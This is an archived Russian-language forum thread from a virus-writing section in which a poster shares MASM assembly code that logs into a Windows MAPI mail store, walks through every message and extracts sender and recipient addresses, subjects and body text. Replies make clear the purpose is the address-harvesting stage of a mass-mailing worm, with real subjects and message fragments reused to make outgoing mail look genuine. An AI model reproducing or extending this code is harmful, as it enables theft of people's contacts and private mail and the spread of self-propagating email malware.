· Начало · Статистика · WASM.RU · Noir.Ru ·

 WASM Phorum (Оффлайн - 24.11.2003) —› WASM.VIROLOGY —› MAPI на .asm (поиск адресов "мыла

Посл.отвђт Сообщенiе


Дата: Фев 17, 2003 01:21:58

А вот так можно получать адреса эл. почты.
Для нудных критиков - над этим предполагаеться еще подумать и еще поработать:)


call GetAddrMAPI
call ScanMAPIBase
invoke ExitProcess,0

;#############################################

ScanMAPIBase proc uses esi edi

LOCAL lpszMessageID[512] : byte
LOCAL hMapi : dword
LOCAL lppMessage : dword

int 3
lea eax, hMapi
xor edi, edi
Scall MAPILogon_, edi, offset szAabbcc, edi, 3, edi, eax
.if eax == edi
lea eax, lpszMessageID
Scall MAPIFindNext_, hMapi, edi, edi, eax, 4000h, edi, eax
.while eax == edi
lea eax,lppMessage
lea ecx,lpszMessageID
Scall MAPIReadMail_, hMapi, edi, ecx, edi, MAPI_SUPPRESS_ATTACH, eax
.if eax == edi
mov eax, lppMessage
mov eax, (MapiMessage ptr [eax]).lpszSubject
.if eax != edi
;---------------------------
; Subjekt == [eax]
;---------------------------
.endif
mov eax, lppMessage
mov eax, (MapiMessage ptr [eax]).lpOriginator
.if eax != edi
mov esi,(MapiRecipDesc ptr [eax]).lpszAddress
.if esi != edi
;--------------------------------
; To == [esi]
;--------------------------------
.endif
.endif
mov eax, lppMessage
mov eax, (MapiMessage ptr [eax]).lpRecips
.if eax != edi
mov esi, (MapiRecipDesc ptr [eax]).lpszAddress
.if esi == edi
;---------------------------------
; From == [esi]
;---------------------------------
.endif
.endif
mov eax, lppMessage
mov eax, (MapiMessage ptr [eax]).lpszNoteText
.if eax != edi
;---------------------
; MessageBody == [eax]
;--------------------
.endif
.endif
Scall MAPIFreeBuffer_,lppMessage
lea eax,lpszMessageID
Scall MAPIFindNext_, hMapi, edi, edi, eax, MAPI_SUPPRESS_ATTACH, edi, eax
.endw
Scall MAPILogoff_, hMapi, edi, edi, edi
xor eax, eax
inc eax
.endif
ret

ScanMAPIBase endp

;#########################################

GetAddrMAPI proc

LOCAL hlib:dword

invoke LoadLibraryA,addr szLibMapi
mov hlib,eax
invoke GetProcAddress,hlib,addr szMAPIFindNext
mov MAPIFindNext_,eax
invoke GetProcAddress,hlib,addr szMAPILogon
mov MAPILogon_,eax
invoke GetProcAddress,hlib,addr szMAPIReadMail
mov MAPIReadMail_,eax
invoke GetProcAddress,hlib,addr szMAPILogoff
mov MAPILogoff_,eax
invoke GetProcAddress,hlib,addr szMAPIFreeBuffer
mov MAPIFreeBuffer_,eax

ret

GetAddrMAPI endp

;#################################


Дата: Фев 17, 2003 10:42:15

... слушей если можешь помести с этой процедурой больший кусок кода, я с MAPI пока не знаком , хочется разобраться , а тут такой пример классный.


Дата: Фев 17, 2003 12:34:50

А по моему дальше уже нужно отправлять письмо.
Надо этой просе на вход подать структуру для заполнения ее данными.
В структуре поля от кого(subject) и куда(from).
Потом эту структуру передаешь просе отсылающей письма.


Дата: Фев 17, 2003 13:28:36

Я без притензий на код хочу спросить , а чем это лучше сокетов ?


Дата: Фев 17, 2003 13:47:55

Это нужно для сбора инфы при рассылке почты.
Если сканировать .html и .dbx файлы то нужно придумать тему и имя адресату, а тут все вполне реальное, даже кусок сообщения можно оторвать.
А сокетами отправлять почту, я ничего против них не имею.


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.068